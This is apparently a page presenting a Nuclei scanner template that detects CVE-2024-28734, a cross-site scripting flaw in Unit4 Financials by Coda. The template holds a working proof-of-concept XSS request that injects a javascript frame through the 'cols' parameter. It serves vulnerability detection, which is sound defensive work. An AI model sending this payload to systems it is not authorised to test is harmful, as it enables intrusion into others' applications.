Coda v.2024Q1 - Cross-Site Scripting

ID: CVE-2024-28734

Severity: medium

Author: s4e-io

Tags: packetstorm,cve,cve2024,coda,xss

Description

Cross Site Scripting vulnerability in Unit4 Financials by Coda v.2024Q1 allows a remote attacker to escalate privileges via a crafted script to the cols parameter.

YAML Source

id: CVE-2024-28734

info:
  name: Coda v.2024Q1 - Cross-Site Scripting
  author: s4e-io
  severity: medium
  description: |
    Cross Site Scripting vulnerability in Unit4 Financials by Coda v.2024Q1 allows a remote attacker to escalate privileges via a crafted script to the cols parameter.
  reference:
    - https://packetstormsecurity.com/files/177619/Financials-By-Coda-Cross-Site-Scripting.html
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-28734
    - http://financials.com
    - http://unit4.com
  classification:
    epss-score: 0.00045
    epss-percentile: 0.12994
  metadata:
    max-request: 1
  tags: packetstorm,cve,cve2024,coda,xss

http:
  - raw:
      - |
        GET /coda/frameset?cols="><frame%20src="javascript:alert(document.domain)"> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<frameset cols=""><frame src="javascript:alert(document.domain)">'

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c69283a4ac9127413c468d4e38d4121e4c0ac337293b7f38c4805d015ae9dfa8022100ed19418137110d1b497c927a95172a645f58e3df8fb0bc23e9531c539898a4ad:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-28734.yaml"

View on Github